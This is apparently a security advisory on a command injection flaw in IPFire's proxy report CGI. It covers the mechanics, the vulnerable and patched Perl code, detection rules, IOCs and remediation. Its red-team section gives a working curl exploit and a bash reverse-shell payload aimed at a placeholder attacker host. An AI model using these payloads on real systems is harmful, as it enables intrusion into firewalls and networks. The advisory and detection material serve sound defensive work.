CVE-2025-34311

Executive Summary

CVE-2025-34311 is a critical command injection vulnerability in IPFire, an open-source firewall distribution. The flaw resides in the Proxy report generation functionality, specifically within the /cgi-bin/logs.cgi/calamaris.dat endpoint. An authenticated attacker can inject arbitrary shell commands by manipulating multiple POST parameters (DAY_BEGIN, MONTH_BEGIN, YEAR_BEGIN, DAY_END, MONTH_END, YEAR_END, NUM_DOMAINS, PERF_INTERVAL, NUM_CONTENT, HIST_LEVEL, NUM_HOSTS, NUM_URLS, BYTE_UNIT). These parameters are unsanitized and directly interpolated into a shell command executed by the mkreport helper, allowing command execution as the nobody user. This can lead to full system compromise, data exfiltration, or lateral movement within the network.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core application flaw in the IPFire distribution. The risk is mitigated by updating to the latest stable release.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The low complexity and network attack vector, combined with high impact, make this a high-priority vulnerability for any organization using IPFire.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78). The IPFire web interface, when generating a Proxy report, sends an HTTP POST request to /cgi-bin/logs.cgi/calamaris.dat. The CGI script reads the user-supplied parameters and passes them directly to a shell command via the mkreport helper. Because no input validation or sanitization is performed, an attacker can inject shell metacharacters (e.g., ;, |, $(), backticks) into any of the listed parameters.

Example vulnerable code path (conceptual):

mkreport --day-begin "$DAY_BEGIN" --month-begin "$MONTH_BEGIN" ...

If DAY_BEGIN is set to 1; id, the shell executes:

mkreport --day-begin 1; id ...

This executes the id command after the intended mkreport command.

The attacker must be authenticated to the IPFire web interface (default credentials or compromised account). The nobody user has limited privileges but can still access network resources, read configuration files, and potentially escalate privileges via other local vulnerabilities.

Vulnerable vs. Patched Code

Vulnerable Code (IPFire < 2.29): The CGI script directly interpolates user input into a shell command without sanitization.

my $cmd = "mkreport --day-begin $day_begin --month-begin $month_begin ...";
system($cmd);

Patched Code (IPFire >= 2.29): The patched version uses proper escaping or parameterized execution to prevent injection.

use IPC::System::Simple qw(system);
my @args = ("mkreport", "--day-begin", $day_begin, "--month-begin", $month_begin, ...);
system(@args);

By passing arguments as a list, the shell is not invoked, and injection is prevented.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an IPFire instance (version < 2.29)
• Valid credentials for the web interface (e.g., admin:admin)

Exploit Steps:

1. Authenticate to the IPFire web interface.
2. Send a crafted POST request to /cgi-bin/logs.cgi/calamaris.dat with injected commands in one of the parameters.

Example using curl:

curl -X POST \
  -c cookies.txt -b cookies.txt \
  -d "DAY_BEGIN=1;id" \
  -d "MONTH_BEGIN=1" \
  -d "YEAR_BEGIN=2025" \
  -d "DAY_END=1" \
  -d "MONTH_END=1" \
  -d "YEAR_END=2025" \
  -d "NUM_DOMAINS=10" \
  -d "PERF_INTERVAL=1" \
  -d "NUM_CONTENT=10" \
  -d "HIST_LEVEL=1" \
  -d "NUM_HOSTS=10" \
  -d "NUM_URLS=10" \
  -d "BYTE_UNIT=MB" \
  http://target-ip/cgi-bin/logs.cgi/calamaris.dat

Reverse Shell Payload:

DAY_BEGIN=1;bash -c 'exec bash -i &>/dev/tcp/attacker-ip/4444 <&1'

Blue Team (Detection & Response)

Detection:

• Monitor HTTP POST requests to /cgi-bin/logs.cgi/calamaris.dat for unusual parameter values containing shell metacharacters (;, |, $, backticks).
• Alert on processes spawned by the nobody user that are not typical for the mkreport helper (e.g., bash, nc, python).

Response:

• Immediately isolate the affected IPFire instance.
• Review logs for signs of lateral movement or data exfiltration.
• Reset all credentials used on the system.
• Apply the patch by upgrading to IPFire 2.29 (Core Update 198).

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /cgi-bin/logs.cgi/calamaris.dat with parameters containing shell metacharacters.
  • Outbound connections from the IPFire instance to unusual IPs/ports (e.g., reverse shell).
• File System IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ created by the nobody user.
  • Modified configuration files in /etc/.
• Process IOCs:
  • Processes like bash, sh, nc, python running under the nobody user.
  • Unusual child processes of mkreport.

Detection Engineering

YARA Rule

rule CVE_2025_34311_IPFire_Command_Injection {
    meta:
        description = "Detects command injection attempts in IPFire Proxy report parameters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34311"
    strings:
        $param1 = "DAY_BEGIN="
        $param2 = "MONTH_BEGIN="
        $param3 = "YEAR_BEGIN="
        $param4 = "DAY_END="
        $param5 = "MONTH_END="
        $param6 = "YEAR_END="
        $param7 = "NUM_DOMAINS="
        $param8 = "PERF_INTERVAL="
        $param9 = "NUM_CONTENT="
        $param10 = "HIST_LEVEL="
        $param11 = "NUM_HOSTS="
        $param12 = "NUM_URLS="
        $param13 = "BYTE_UNIT="
        $metachar = /[;&|`$(){}]/
    condition:
        any of ($param*) and $metachar
}

Sigma Rule

title: IPFire Proxy Report Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/logs.cgi/calamaris.dat with shell metacharacters in parameters
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-34311
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/cgi-bin/logs.cgi/calamaris.dat"
    keywords:
        - "DAY_BEGIN=*[;&|`$(){}]*"
        - "MONTH_BEGIN=*[;&|`$(){}]*"
        - "YEAR_BEGIN=*[;&|`$(){}]*"
        - "DAY_END=*[;&|`$(){}]*"
        - "MONTH_END=*[;&|`$(){}]*"
        - "YEAR_END=*[;&|`$(){}]*"
        - "NUM_DOMAINS=*[;&|`$(){}]*"
        - "PERF_INTERVAL=*[;&|`$(){}]*"
        - "NUM_CONTENT=*[;&|`$(){}]*"
        - "HIST_LEVEL=*[;&|`$(){}]*"
        - "NUM_HOSTS=*[;&|`$(){}]*"
        - "NUM_URLS=*[;&|`$(){}]*"
        - "BYTE_UNIT=*[;&|`$(){}]*"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in report parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-34311 IPFire Proxy Report Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/logs.cgi/calamaris.dat";
    http_uri;
    pcre:"/(DAY_BEGIN|MONTH_BEGIN|YEAR_BEGIN|DAY_END|MONTH_END|YEAR_END|NUM_DOMAINS|PERF_INTERVAL|NUM_CONTENT|HIST_LEVEL|NUM_HOSTS|NUM_URLS|BYTE_UNIT)=[^&]*[;&|`$(){}]/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade IPFire to version 2.29 (Core Update 198) or later. This is the only complete fix.
2. Restrict access to the IPFire web interface to trusted IPs only (e.g., via firewall rules).
3. Change all passwords for IPFire accounts immediately.

Compensating Controls (if patching is delayed):

• Deploy a Web Application Firewall (WAF) with rules to block POST requests containing shell metacharacters in the specified parameters.
• Monitor logs for exploitation attempts and block offending IPs.
• Disable the Proxy report feature if not essential.

Long-Term:

• Implement a vulnerability management program to ensure timely patching.
• Conduct regular security audits of custom CGI scripts.
• Use input validation libraries (e.g., Data::Validate::Sanitize in Perl) for all user-supplied data.

Valters IT